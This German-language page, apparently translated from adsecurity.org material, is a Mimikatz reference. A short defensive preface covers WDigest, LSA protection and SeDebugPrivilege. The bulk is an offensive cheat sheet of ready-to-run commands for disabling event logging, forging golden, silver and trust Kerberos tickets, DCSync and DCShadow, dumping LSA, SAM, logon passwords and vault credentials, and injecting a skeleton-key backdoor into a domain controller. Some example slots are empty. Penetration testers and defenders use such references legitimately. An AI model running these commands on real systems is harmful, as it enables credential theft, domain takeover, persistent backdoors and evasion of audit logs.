Mimikatz
Diese Seite basiert auf einer von adsecurity.org. Überprüfen Sie das Original für weitere Informationen!
LM und Klartext im Speicher
Seit Windows 8.1 und Windows Server 2012 R2 wurden erhebliche Maßnahmen ergriffen, um gegen den Diebstahl von Anmeldeinformationen zu schützen:
LM-Hashes und Klartext-Passwörter werden nicht mehr im Speicher gespeichert, um die Sicherheit zu erhöhen. Eine spezifische Registrierungseinstellung, HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" muss mit einem DWORD-Wert von
0
konfiguriert werden, um die Digest-Authentifizierung zu deaktivieren und sicherzustellen, dass "Klartext"-Passwörter nicht in LSASS zwischengespeichert werden.LSA-Schutz wird eingeführt, um den Local Security Authority (LSA)-Prozess vor unbefugtem Lesen des Speichers und Code-Injektionen zu schützen. Dies wird erreicht, indem LSASS als geschützter Prozess markiert wird. Die Aktivierung des LSA-Schutzes umfasst:
Ändern der Registrierung unter HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa durch Setzen von
RunAsPPL
aufdword:00000001
.Implementierung eines Gruppenrichtlinienobjekts (GPO), das diese Registrierungänderung auf verwalteten Geräten durchsetzt.
Trotz dieser Schutzmaßnahmen können Tools wie Mimikatz den LSA-Schutz mit spezifischen Treibern umgehen, obwohl solche Aktionen wahrscheinlich in den Ereignisprotokollen aufgezeichnet werden.
Gegenmaßnahmen zur Entfernung von SeDebugPrivilege
Administratoren haben typischerweise SeDebugPrivilege, das es ihnen ermöglicht, Programme zu debuggen. Dieses Privileg kann eingeschränkt werden, um unbefugte Speicherauszüge zu verhindern, eine gängige Technik, die von Angreifern verwendet wird, um Anmeldeinformationen aus dem Speicher zu extrahieren. Selbst wenn dieses Privileg entfernt wird, kann das TrustedInstaller-Konto jedoch weiterhin Speicherauszüge mit einer angepassten Dienstkonfiguration durchführen:
Dies ermöglicht das Dumpen des lsass.exe
-Speichers in eine Datei, die dann auf einem anderen System analysiert werden kann, um Anmeldeinformationen zu extrahieren:
Mimikatz Optionen
Das Manipulieren von Ereignisprotokollen in Mimikatz umfasst zwei Hauptaktionen: das Löschen von Ereignisprotokollen und das Patchen des Ereignisdienstes, um das Protokollieren neuer Ereignisse zu verhindern. Nachfolgend sind die Befehle für die Durchführung dieser Aktionen aufgeführt:
Löschen von Ereignisprotokollen
Befehl: Diese Aktion zielt darauf ab, die Ereignisprotokolle zu löschen, um es schwieriger zu machen, böswillige Aktivitäten nachzuverfolgen.
Mimikatz bietet in seiner Standarddokumentation keinen direkten Befehl zum Löschen von Ereignisprotokollen über die Befehlszeile. Das Manipulieren von Ereignisprotokollen umfasst jedoch typischerweise die Verwendung von Systemtools oder Skripten außerhalb von Mimikatz, um spezifische Protokolle zu löschen (z. B. mit PowerShell oder dem Windows-Ereignisanzeiger).
Experimentelles Feature: Patchen des Ereignisdienstes
Befehl:
event::drop
Dieser experimentelle Befehl ist darauf ausgelegt, das Verhalten des Ereignisprotokollierungsdienstes zu ändern, wodurch effektiv verhindert wird, dass neue Ereignisse aufgezeichnet werden.
Beispiel:
mimikatz "privilege::debug" "event::drop" exit
Der Befehl
privilege::debug
stellt sicher, dass Mimikatz mit den erforderlichen Berechtigungen arbeitet, um Systemdienste zu ändern.Der Befehl
event::drop
patcht dann den Ereignisprotokollierungsdienst.
Kerberos Ticket Angriffe
Golden Ticket Erstellung
Ein Golden Ticket ermöglicht die impersonation mit domänenweiter Zugriffsberechtigung. Wichtiger Befehl und Parameter:
Befehl:
kerberos::golden
Parameter:
/domain
: Der Domänenname./sid
: Der Sicherheitsbezeichner (SID) der Domäne./user
: Der Benutzername, der impersoniert werden soll./krbtgt
: Der NTLM-Hash des KDC-Dienstkontos der Domäne./ptt
: Injektiert das Ticket direkt in den Speicher./ticket
: Speichert das Ticket zur späteren Verwendung.
Beispiel:
Silver Ticket Creation
Silver Tickets gewähren Zugriff auf spezifische Dienste. Wichtiger Befehl und Parameter:
Befehl: Ähnlich wie Golden Ticket, zielt aber auf spezifische Dienste ab.
Parameter:
/service
: Der Dienst, der angegriffen werden soll (z.B. cifs, http).Andere Parameter ähnlich wie bei Golden Ticket.
Beispiel:
Trust Ticket Creation
Trust Tickets werden verwendet, um auf Ressourcen über Domänen hinweg zuzugreifen, indem Vertrauensverhältnisse genutzt werden. Wichtiger Befehl und Parameter:
Befehl: Ähnlich wie Golden Ticket, aber für Vertrauensverhältnisse.
Parameter:
/target
: Der FQDN der Ziel-Domäne./rc4
: Der NTLM-Hash für das Vertrauenskonto.
Beispiel:
Zusätzliche Kerberos-Befehle
Tickets auflisten:
Befehl:
kerberos::list
Listet alle Kerberos-Tickets für die aktuelle Benutzersitzung auf.
Cache übergeben:
Befehl:
kerberos::ptc
Injiziert Kerberos-Tickets aus Cache-Dateien.
Beispiel:
mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit
Ticket übergeben:
Befehl:
kerberos::ptt
Ermöglicht die Verwendung eines Kerberos-Tickets in einer anderen Sitzung.
Beispiel:
mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit
Tickets löschen:
Befehl:
kerberos::purge
Löscht alle Kerberos-Tickets aus der Sitzung.
Nützlich vor der Verwendung von Ticketmanipulationsbefehlen, um Konflikte zu vermeiden.
Active Directory Manipulation
DCShadow: Eine Maschine vorübergehend als DC für die AD-Objektmanipulation agieren lassen.
mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit
DCSync: Einen DC nachahmen, um Passwortdaten anzufordern.
mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit
Zugriff auf Anmeldeinformationen
LSADUMP::LSA: Anmeldeinformationen aus LSA extrahieren.
mimikatz "lsadump::lsa /inject" exit
LSADUMP::NetSync: Einen DC mit den Passwortdaten eines Computer-Kontos nachahmen.
Kein spezifischer Befehl für NetSync im ursprünglichen Kontext angegeben.
LSADUMP::SAM: Zugriff auf die lokale SAM-Datenbank.
mimikatz "lsadump::sam" exit
LSADUMP::Secrets: Geheimnisse entschlüsseln, die in der Registrierung gespeichert sind.
mimikatz "lsadump::secrets" exit
LSADUMP::SetNTLM: Einen neuen NTLM-Hash für einen Benutzer festlegen.
mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit
LSADUMP::Trust: Informationen zur Vertrauensauthentifizierung abrufen.
mimikatz "lsadump::trust" exit
Sonstiges
MISC::Skeleton: Eine Hintertür in LSASS auf einem DC injizieren.
mimikatz "privilege::debug" "misc::skeleton" exit
Privilegieneskalation
PRIVILEGE::Backup: Backup-Rechte erwerben.
mimikatz "privilege::backup" exit
PRIVILEGE::Debug: Debug-Rechte erhalten.
mimikatz "privilege::debug" exit
Anmeldeinformationen dumpen
SEKURLSA::LogonPasswords: Anmeldeinformationen für angemeldete Benutzer anzeigen.
mimikatz "sekurlsa::logonpasswords" exit
SEKURLSA::Tickets: Kerberos-Tickets aus dem Speicher extrahieren.
mimikatz "sekurlsa::tickets /export" exit
SID- und Token-Manipulation
SID::add/modify: SID und SIDHistory ändern.
Hinzufügen:
mimikatz "sid::add /user:targetUser /sid:newSid" exit
Ändern: Kein spezifischer Befehl für die Änderung im ursprünglichen Kontext angegeben.
TOKEN::Elevate: Tokens nachahmen.
mimikatz "token::elevate /domainadmin" exit
Terminaldienste
TS::MultiRDP: Mehrere RDP-Sitzungen zulassen.
mimikatz "ts::multirdp" exit
TS::Sessions: TS/RDP-Sitzungen auflisten.
Kein spezifischer Befehl für TS::Sessions im ursprünglichen Kontext angegeben.
Vault
Passwörter aus dem Windows Vault extrahieren.
mimikatz "vault::cred /patch" exit
Last updated